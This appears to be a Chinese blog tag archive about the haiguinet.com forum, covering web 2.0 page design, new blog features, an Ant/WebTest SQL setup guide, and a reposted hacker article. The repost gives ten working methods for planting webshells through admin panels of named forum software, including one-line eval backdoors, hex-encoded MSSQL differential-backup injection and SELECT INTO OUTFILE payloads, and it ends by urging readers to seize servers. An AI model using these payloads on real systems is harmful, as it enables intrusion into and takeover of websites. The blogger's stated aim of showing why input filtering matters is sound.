BMTD 's Yard of Fun

Technology, Sports, Music, Chinese Essays

Browsing Posts tagged 海归网

谈谈 web 2.0 网站页面设计的共性,以及海龟网可借鉴改进的地方。

当然,现在海龟网的最大问题还不在于界面,而是稳定性/鲁棒性、速度、性能可扩展性(scalability)等,以及一些最迫切的功能的实现。所以龟网技术力量目前的重点不在于此。

Web 2.0 界面设计共性

强调内容,强调互动的web 2.0 时代,网页设计师们不约而同采取了一些设计原则。。。通观现在典型的web 2.0网站,可以总结出web 2.0网站页面设计的共有特性如下:

(1) 简单即是美。

这是一个重要原则。

页面不靠花里胡哨的图形而是靠内容吸引人。复杂的界面设计逐渐回归于简单, 让访客专注于网站内容而不是被网站的界面分散了注意力

应该让人感觉网站不错很牛B,而不是让人感觉网站的设计师很牛B。

(2) 页面布局:

----越来越多的网站采用1-2 列 (1-column or 2-column) 的设计, 决不能超过3列。

而在一两年前,3-4 column的网站还大行其道--这世界变化真快哈

--- 页面居中排版 (center aligned)

页面内容居于中间,而不是靠左、右;

页面宽度固定, 而不是占满整个浏览器。

大家想想,你觉得界面不错的网站是不是大多数这样子?

--- 有足够的空白来分隔不同区域

在这之前的web design, 比较讲究”第一屏“的重要性,也就是不用滚动或翻页就能提供给用户尽量多的信息,这也是为什么许多网站在小小的地方密密麻麻地堆砌了一大堆的东西—这样的布局容易让用户觉得疲惫,眼花缭乱头晕眼花。。。

今天由于滚动轮鼠标的普及,上下滚动对于大多数用户来说已经非常方便不再是浏览的障碍,因此越来越多的网站敢于使用简单的布局而让内容从上往下走.

(3) 大的字体

使用较大的字体,让浏览者的眼睛舒服。

使用比一般内容大很多的字体来显示需要突出注意的内容。

(4) 鲜艳而有强烈对比的色彩

明亮强烈的色彩是许多web 2.0网站的另一个共性。。。用对比强烈的色彩来分隔不同区域,或者突出重要的内容。

蓝色、橙色等被大量使用,但最为代表性的是一种柠檬绿--号称web 2.0的代表色。

当然颜色不能到处滥用。。。例如,背景色一般需要柔软中性的色彩。

这里是一个别人总结的 web 2.0配色表:

http://www.modernlifeisrubbish.co.uk/article/web-2.0-colour-palette

(5) 巨大而醒目的LOGO

这是一些例子:

关于logo使用的字体,更多使用平滑、圆润的字体,例如VAG Rounded (AKA Rundschrift),Helvetica Rounded, Arial Rounded, Bryant, FF Cocon等。

(6) 经常使用渐变色 (Gradiants)

(7) 大量使用圆角 (rounded corner)
例子:

(8) 偶尔使用3D效果

(9) 网站上使用一些可爱的图标 (icon)而不用现成的照片 (stock photo),尤其是那些千篇一律的素材照片, 容易给人小公司试图mimic大公司的印象。

web 2.0 图标的例子:

Cute icon from Patrickhaney.com

Cute icon from Patrickhaney.com
Cute icon from Iconbuffet.com

设计上的大忌

一般来说,需要避免

(1) 闪烁的图形, 例如动画GIF文件。一闪一闪的实在是很烦人--当然很多在线广告靠这个吸引眼球,但有个度的问题。

(2)100%纯flash的网站

最主要的问题是SEO。其次还有兼容性的问题。

(3)不使用 CSS的网站

(4)看得见的表格线

关于海龟网的页面风格

海龟网没有专职或者专业的页面设计、美术人员,在美工方面比较业余,尤其在海龟论坛方面,为了照顾习惯于旧版asp论坛的老用户而尽量保持与老论坛相同的风格。但由于与老论坛结构的不同,同时大量新功能的增加使得现在的论坛界面比较杂乱,风格也不统一,视觉上也不美观。

我们认为,上述web 2.0的界面风格,尤其在简单、易阅读、大字等符合海龟网一贯的设计思路,因此我们会针对这些现有的问题,吸取上述思路的精华结合海龟网的现状进行改进。。。不管是web 几点0 也好,总之希望会在不久后有个简单快捷易用而又大方美观的海龟网。

当然,现在海龟网的最大问题还不在于界面,而是稳定性/鲁棒性、速度、性能可扩展性(scalability)等,以及一些最迫切的功能的实现。所以龟网技术力量目前的重点不在于此。

参见在下其他海龟网/BBS/web 2.0 系列帖子:

主要是海归网博客首页改版,并且增加了许多博客功能。

现在刚刚推出,还有许多地方需要进一步完善和优化,如速度问题等。

欢迎各位报告bug并提出意见与建议。

海龟博客的首页是:

http://www.haiguinet.com/blog/

http://blog.haiguinet.com

新功能、改进包括:

1. 首页上的各种统计排行–
1.1 博客文章点击数统计
1.2 最高点击量用户统计
1。3 用户发文统计
1。4 评论数统计

2。用户推荐博客功能:

增加“推荐博客”功能,用户浏览博客文章时可以点击按钮“推荐这个博客”;每周被推荐票数最高的文章在博客首页“网友推荐榜“

3。站方预设的固定分类

预设一些固定分类,所有用户都可以把文章放到这些分类里。这些分类就是在首页下半部分显示的那些分类;

4。首页增加“博客导读”部分, 由管理员选择的精华文章在该部分显示

5。博客的用户profile与论坛统一, --也就是说论坛里设置的那些年龄性别msn地址等应该在博客里也看得见。每个人的博客首页应可以显示这些profile.

— 打开每个人的博客页,显示一个头像和简单个人信息, 博客用户的图像直接采用他在论坛里的头像。没有在论坛设头像则用缺省的。

6. 用户自己的博客增加一些统计: 是否在自己的博客上显示“最新文章”, “热门文章”, “最新评论”等。

用户可以在管理后台选择是否需要显示这些东西。

-- 如果选择了,而且这个用户选择的主题支持这些功能,那么用户自己的博客首页显示这些东西。
-- 如果用户的当前主题不支持,那么忽略。

7. keywords (tags)功能

增加一个博客的tagging功能, 用户发表文章时可以指定任意关键词。

在首页“热门关键词”板块显示热门tag cloud.

查看一个帖子时下面会列出最多10条相关的帖子.

初步推出, 相关帖子准确度还需提高–我们会继续做tuning和改进.

现在是基于对帖子标题进行中文分词基础上的全文检索. 以后等龟坛Tagging功能做好后改用帖子的关键字来匹配准确度会大得多.

欢迎大家提出意见和建议.

如果对code (SQL/php etc) injection, file inclusion, cross site scripting 不熟悉可google相关文章。

防止这类漏洞的最重要一点在于对用户输入作过滤。例如,对于防止xss可参照归坛的function.php里的removexss() 函数。

关于这类漏洞的危害,这里有篇文章是关于对一些常见网站加入木马shell的,有兴趣可一读.

转篇华夏的从后台拿到webshell(转自 donews: http://blog.donews.com/swap/archive/2006/05/31/895681.aspx )

前 言
动网上传漏洞,相信大家拿下不少肉鸡吧。可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然天下,现在这种漏洞已经基本比较难见到了,不排除一些小网站仍然存在此漏洞。在拿站过程中,我们经常费了九牛两虎之力拿到管理员帐号和密码,并顺利进入了后台,虽然此时与拿到网站webshell还有一步之遥,但还是有许多新手因想不出合适的方法而被拒之门外。因此,我们把常用的从后台得到webshell的方法进行了总结和归纳,大体情况有以下十大方面。
注意:如何进入后台,不是本文讨论范围,其具体方法就不说了,靠大家去自己发挥。此文参考了前人的多方面的资料和信息,在此一并表示感谢。
一、直接上传获得webshell
这种对php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传的文件url应该是http://forums/images/smiles/下,前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网 5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。

二、添加修改上传类型
现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型, bbsxp后台可以添加asa|asP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell 了,还有一种情况是过滤了.asp,可以添加.aspasp的文件类型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。 LeadBbs3.14后台获得webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格!

三、利用后台管理功能写入webshell
上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有 leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\网站incIncHtmBoardLink.asp就是我们想要的shell。

四、利用后台管理向配置文件写webshell
利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上cnhacker at 263 dot net":eval request(chr (35))//, 在配制文件中就是webmail="cnhacker at 263 dot net":eval request(chr(35))//",还有一种方法就是写上
cnhacker at 263 dot net"%><%eval request(chr(35))%><%’,这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是数据库插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%><% execute request("l")%><%’,保存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp。

五、利用后台数据库备份及恢复获得webshell
主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其他后缀如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改 gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。
六、利用数据库压缩功能
可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出.asp文件,用海洋的最小马的eval客户端连就得到一个webshell。

七、asp+mssql系统
这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:
<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p> </form>
另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以用差异备份一个webshell,可以用利用上面提到的方法,将conn.asp文件备份成.txt文件而获得库名。
差异备份的主要代码:
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s–
;Drop table [heige];create table [dbo] dot [heige] ([cmd] [image])–
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)–
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT–
这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:web1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小。
八、php+mysql系统
后台需要有mysql数据查询功能,我们就可以利用它执行SELECT … INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用 SELECT … INTO OUTFILE语句导出shell。在mysql操作里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile ’路径’ 就可以获得了一个<?eval($_POST[a]);?>的最小马

0x3C3F6576616C28245F504F53545B615D293B3F3E 是我们<?eval($_POST[a]);?>的十六进制,这种方法对phpmyadmin比较普遍,先利用phpmyadmin的路径泄露漏洞,比较典型的 是http://url/phpmyadmin/libra9xiaoes/select_lang.lib.php。
就可以暴出路径,php环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写d:\wwwroot\a.php。下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一个管理员帐号
CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES(’<?fputs(fopen("./a.php","w"),"<?eval($_POST[a]);?>")?>’)
select cmd from a into outfile ’路径/b.php’
DROP TABLE IF EXISTS a
访问b.php就会生成一个<?eval($_POST[a]);?>的最小马。
如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码:
<?
$sa = fopen("./up/saiy.php","w");
fw9xiaote($sa,"<?eval($_POST[a]);?".">");
fclose($sa);
?>
就会在up目录下生成文件名为saiy.php内容为<?eval($_POST[a]);?>的最小php木马,
最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码<?fputs(fopen("./a.php", "w"),"<?eval($_POST[a]);?>")?> 将会在当前目录生成一个a.php的最小马。

九、phpwind论坛从后台到webshell的三种方式
方式1 模板法
进入后台, 风格模版设置 ,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不可以有任何字符。
EOT;
eval($a);
p9xiaont <<<EOT
而后得到一个shell为http://网站/bbs/index.php。
方始2 脏话过滤法
进入安全管理 ◇ 不良词语过滤。新增不良词语写 a’]=’aa’;eval($_POST[’a’]);//
替换为那里可以随意写,而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php。
方式3 用户等级管理
新建立会员组,头衔你可以随便写,但是千万不要写单双引号特殊符号,升级图片号写a’;eval($_POST[’a’]);// ,升级点数依然可以随意写。而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php。
以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。

十、也可以利用网站访问计数系统记录来获得webshell
最明显的就是某私服程序内的阿江计数程序,可以通过http://网站/stat.asp?style=text&referer= 代码内容&screenwidth=1024直接提交,即可把代码内容直接插入到计数系统的数据库中,而此系统默认数据库为count#.asa,我们可以通过http://网站/count%23.asa访问得到webshell,由于阿江计数程序过滤了%和+,将最小马改成<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替换代码内容处提交,然后用lake2 的eval客户端来提交,值得一提的是如果进到计数后台,可以清理某时某刻的数据,一旦插入asp木马失败,可以清理数据库再次操作。

解决方案
由于本文涉及的代码版本很多,所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补,可以到相关官方网站下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告,若自己发现相关漏洞也可及时通知官方网站。

后记
其实,从后台得到webshell的技巧应该还有很多的,关键是要看大家怎么灵活运用、触类旁通,希望本文的方法能起到抛砖引玉的作用。 各位加油吧,让我们将服务器控制到底!

每次运行之前需要在数据库里populate需要的测试数据,这个可以用SQL ant task自动在test case里实现--相关test case第一步就是作数据初始化。

步骤:

(1) 建议先写好SQL script,把这些sql文件放在单独的SQL目录里。(optional)

(2) 把 mysql jdbc driver 文件 “mysql-connector-java-5.0.4-bin.jar”拷贝到 webtest的lib目录下,并且加入到java classpath (或者 webtest.sh /webtest.bat 的calsspath里)

哪里找文件 mysql-connector-java-5.0.4-bin.jar呢?

--先从这里下载mysql-connector-java-5.0.4.zip : http://dev.mysql.com/get/Downloads/Connector-J/mysql-connector-java-5.0.4.zip/from/http://mirror.services.wisc.edu/mysql/ ,解压后你会看到mysql-connector-java-5.0.4-bin.jar.

(3)写SQL task:

一个简单的SQL ant task是这样的:

<sql
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://host:port/database"
userid="sa"
password="pass"
src="data.sql"
/>

意思是链接到位于 host:port的mysql数据库里的"database" schema, 用sa/pass登陆,然后运行 "data.sql"文件。

或者这样直接写sql语句:

<sql
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://host:port/database"
userid="sa"
password="pass"
><![CDATA[

update some_table set column1 = column1 + 1 where column2 < 42;

]]></sql>

或者这样运行几个sql文件:

<sql
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://host:port/database"
userid="sa"
password="pass" >
<transaction src="data1.sql"/>
<transaction src="data2.sql"/>
<transaction src="data3.sql"/>
<transaction>
truncate table some_other_table;
</transaction>
</sql>

(4) 在你的webtest里把这个task加进来 :

<target name="testit">
<!–初始化数据 -->
<sql
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://host:port/database"
userid="sa"
password="pass" >
<transaction src="data1.sql"/>
<transaction src="data2.sql"/>
<transaction src="data3.sql"/>
<transaction>
truncate table some_other_table;
</transaction>
</sql>

<webtest name="myTest">
<config host="localhost" port="8080" protocol="http" basepath="" summary="true" saveresponse="true" />

<steps>
<invoke description="a" url="sb.php" />
<!–<verifyCookie name="AuthJ" text="four498@gmail.com~wangluo~1161665636" /> –>
<!–<invoke description="a" url="sb.php?a=1" /> –>

</steps>
</webtest>
</target>

上面只是简单例子,你们做时这个<sql>部分可以放到一个include文件里, 在test case里 include进来。